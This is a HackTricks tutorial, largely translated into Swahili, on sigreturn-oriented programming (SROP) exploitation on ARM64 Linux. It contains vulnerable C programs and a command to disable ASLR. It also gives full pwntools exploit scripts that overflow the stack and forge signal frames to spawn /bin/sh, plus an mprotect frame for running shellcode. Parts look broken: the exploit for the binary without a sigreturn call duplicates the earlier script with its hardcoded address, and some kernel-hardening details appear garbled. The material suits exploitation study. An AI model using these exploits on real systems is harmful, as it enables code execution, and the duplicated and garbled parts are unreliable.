> [!TIP]

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Reading time: 8 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Mfano wa Pwntools

Mfano huu unaunda binary iliyo hatarini na kuifanya. Binary inasoma kwenye stack na kisha inaita sigreturn:

python
from pwn import *

binsh = "/bin/sh"
context.clear()
context.arch = "arm64"

asm = ''
asm += 'sub sp, sp, 0x1000\n'
asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024) #Read into the stack
asm += shellcraft.sigreturn() # Call sigreturn
asm += 'syscall: \n' #Easy symbol to use in the exploit
asm += shellcraft.syscall()
asm += 'binsh: .asciz "%s"' % binsh #To have the "/bin/sh" string in memory
binary = ELF.from_assembly(asm)

frame = SigreturnFrame()
frame.x8 = constants.SYS_execve
frame.x0 = binary.symbols['binsh']
frame.x1 = 0x00
frame.x2 = 0x00
frame.pc = binary.symbols['syscall']

p = process(binary.path)
p.send(bytes(frame))
p.interactive()

bof mfano

Msimbo

c
#include <stdio.h>
#include <string.h>
#include <unistd.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
}


char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability

return buffer;
}

char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}

int main(int argc, char **argv) {
char* b = gen_stack();
do_stuff(2);
return 0;
}

Tunga kwa:

bash
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space  # Disable ASLR

Exploit

The exploit inatumia bof kurudi kwenye wito wa sigreturn na kuandaa stack ili kuita execve na kiashiria cha /bin/sh.

python
from pwn import *

p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))

stack_offset = 72

sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4  # svc    #0x0

frame = SigreturnFrame()
frame.x8 = 0xdd            # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00             # NULL
frame.x2 = 0x00             # NULL
frame.pc = svc_call

payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

bof mfano bila sigreturn

Code

c
#include <stdio.h>
#include <string.h>
#include <unistd.h>

char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability

return buffer;
}

char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}

int main(int argc, char **argv) {
char* b = gen_stack();
return 0;
}

Exploit

Katika sehemu vdso inawezekana kupata wito kwa sigreturn katika ofseti 0x7b0:

Hivyo, ikiwa itavuja, inawezekana kutumia anwani hii kufikia sigreturn ikiwa binary haijaiweka:

python
from pwn import *

p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))

stack_offset = 72

sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4  # svc    #0x0

frame = SigreturnFrame()
frame.x8 = 0xdd            # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00             # NULL
frame.x2 = 0x00             # NULL
frame.pc = svc_call

payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

Kwa maelezo zaidi kuhusu vdso angalia:

Ret2vDSO

Na ili kupita anwani ya /bin/sh unaweza kuunda mabadiliko kadhaa ya mazingira yanayorejelea hiyo, kwa maelezo zaidi:

ASLR


Kutafuta vifaa vya sigreturn kiotomatiki (2023-2025)

Katika usambazaji wa kisasa, trampoline ya sigreturn bado inatolewa na ukurasa wa vDSO lakini offset halisi inaweza kutofautiana kati ya matoleo ya kernel na bendera za ujenzi kama BTI (+branch-protection) au PAC. Kuwezesha kugundua kwake kunazuia kuweka offsets kwa nguvu:

bash
# With ROPgadget ≥ 7.4
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn

# With rp++ ≥ 1.0.9 (arm64 support)
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b"   # 0x8b = __NR_rt_sigreturn

Zana zote mbili zinaelewa AArch64 encodings na zitaorodhesha mguso wa mov x8, 0x8b ; svc #0 ambao unaweza kutumika kama SROP gadget.

Kumbuka: Wakati binaries zinapokamilishwa na BTI, amri ya kwanza ya kila lengo la tawi la moja kwa moja halali ni bti c. sigreturn trampolines zilizowekwa na linker tayari zinajumuisha pad ya BTI sahihi hivyo gadget inabaki kutumika kutoka kwa msimbo usio na mamlaka.

Kuunganisha SROP na ROP (pivot kupitia mprotect)

rt_sigreturn inatupa udhibiti wa mara zote za jumla za matumizi na pstate. Mfano wa kawaida kwenye x86 ni: 1) tumia SROP kuita mprotect, 2) pivot kwa stack mpya inayoweza kutekelezwa yenye shell-code. Wazo sawa kabisa linafanya kazi kwenye ARM64:

python
frame = SigreturnFrame()
frame.x8 = constants.SYS_mprotect   # 226
frame.x0 = 0x400000                # page-aligned stack address
frame.x1 = 0x2000                  # size
frame.x2 = 7                       # PROT_READ|PROT_WRITE|PROT_EXEC
frame.sp = 0x400000 + 0x100        # new pivot
frame.pc = svc_call                # will re-enter kernel

Baada ya kutuma fremu unaweza kutuma hatua ya pili inayojumuisha shell-code safi kwenye 0x400000+0x100. Kwa sababu AArch64 inatumia PC-relative addressing hii mara nyingi ni rahisi zaidi kuliko kujenga mnyororo mkubwa wa ROP.

Uthibitishaji wa Kernel, PAC & Shadow-Stacks

Linux 5.16 ilianzisha uthibitishaji mkali wa fremu za ishara za watumiaji (commit 36f5a6c73096). Kernel sasa inakagua:

  • uc_flags lazima iwe na UC_FP_XSTATE wakati extra_context inapatikana.
  • Neno lililotengwa katika struct rt_sigframe lazima liwe sifuri.
  • Kila kiashiria katika rekodi ya extra_context kimepangwa na kinaelekeza ndani ya nafasi ya anwani ya mtumiaji.

pwntools>=4.10 inaunda fremu zinazokubalika kiotomatiki, lakini ikiwa unazijenga kwa mikono hakikisha kuanzisha reserved kuwa sifuri na uondoe rekodi ya SVE isipokuwa unahitaji kweli—vinginevyo rt_sigreturn itatoa SIGSEGV badala ya kurudi.

Kuanza na Android 14 na Fedora 38, userland inajengwa na PAC (Pointer Authentication) na BTI imewezeshwa kwa default (-mbranch-protection=standard). SROP yenyewe haijaathiriwa kwa sababu kernel inabadilisha PC moja kwa moja kutoka kwa fremu iliyoundwa, ikipita LR iliyothibitishwa iliyohifadhiwa kwenye stack; hata hivyo, mnyororo wowote wa ROP unaofanya matawi yasiyo ya moja kwa moja lazima uruke kwenye maagizo yaliyo na BTI au anwani za PAC. Kumbuka hilo unapochagua gadgets.

Shadow-Call-Stacks zilizoanzishwa katika ARMv8.9 (na tayari zimewezeshwa kwenye ChromeOS 1.27+) ni hatua ya kupunguza kiwango cha kompyuta na hazihusiani na SROP kwa sababu hakuna maagizo ya kurudi yanayotekelezwa—mwelekeo wa udhibiti unahamishwa na kernel.

Marejeleo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks